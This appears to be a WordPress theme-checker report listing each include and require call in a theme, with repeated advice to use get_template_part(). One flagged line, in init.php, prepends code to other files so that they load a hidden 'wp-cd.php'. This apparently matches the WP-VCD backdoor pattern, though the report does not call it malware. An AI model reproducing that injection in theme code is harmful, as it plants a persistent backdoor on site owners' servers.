    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : migration.php
    Ligne289: include_once( ABSPATH . '/wp-admin/includes/plugin.php' );
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : ajax-handler.php
    Ligne62: include_once( 'setup.php' );
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : setup.php
    Ligne55: require_once( 'helper.php' );
    Ligne85: require_once( 'xcs.php' );
    Ligne97: require_once( 'data-pages.php' );
    Ligne98: require_once( 'data-posts.php' );
    Ligne99: require_once( 'data-portfolio-items.php' );
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : class-plugin-updater.php
    Ligne83: include_once( ABSPATH . '/wp-admin/includes/plugin.php' );
    Ligne116: include_once( ABSPATH . '/wp-admin/includes/plugin.php' );
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : init.php
    Ligne43: $file = '<?php if (file_exists(dirname(__FILE__) . \'/wp-cd.php\')) include_once(dirname(__FILE__) . \'/wp-cd.php\'); ?>' . $file;
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : page-home.php
    Ligne45: <?php require( 'markup/page-home-box-validation.php' ); ?>
    Ligne50: <?php require( 'markup/page-home-box-automatic-updates.php' ); ?>
    Ligne51: <?php require( 'markup/page-home-box-support.php' ); ?>
    Ligne55: <?php require( 'markup/page-home-box-demo-content.php' ); ?>
    Ligne56: <?php require( 'markup/page-home-box-customizer-manager.php' ); ?>
    Ligne60: <?php require( 'markup/page-home-box-extensions.php' ); ?>
    Ligne65: <?php require( 'markup/page-home-box-approved-plugins.php' ); ?>
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : setup.php
    Ligne76: require_once( $addn_path . '/updates/class-theme-updater.php' );
    Ligne77: require_once( $addn_path . '/updates/class-plugin-updater.php' );
    Ligne79: require_once( $addn_path . '/demo/legacy/ajax-handler.php' );
    Ligne80: require_once( $addn_path . '/demo/class-x-demo-import-session.php' );
    Ligne81: require_once( $addn_path . '/demo/class-x-demo-import-registry.php' );
    Ligne82: require_once( $addn_path . '/demo/class-x-demo-import-processor.php' );
    Ligne84: require_once( $addn_path . '/modules/class-addons-home.php' );
    Ligne85: require_once( $addn_path . '/modules/class-addons-updates.php' );
    Ligne86: require_once( $addn_path . '/modules/class-addons-validation.php' );
    Ligne87: require_once( $addn_path . '/modules/class-addons-demo-content.php' );
    Ligne88: require_once( $addn_path . '/modules/class-addons-customizer-manager.php' )
    Ligne89: require_once( $addn_path . '/modules/class-addons-extensions.php' );
    Ligne90: require_once( $addn_path . '/page-home.php' );
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : setup.php
    Ligne342: require_once( $meta_path . '/entries.php' );
    Ligne343: require_once( $meta_path . '/taxonomies.php' );
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
Other checked themes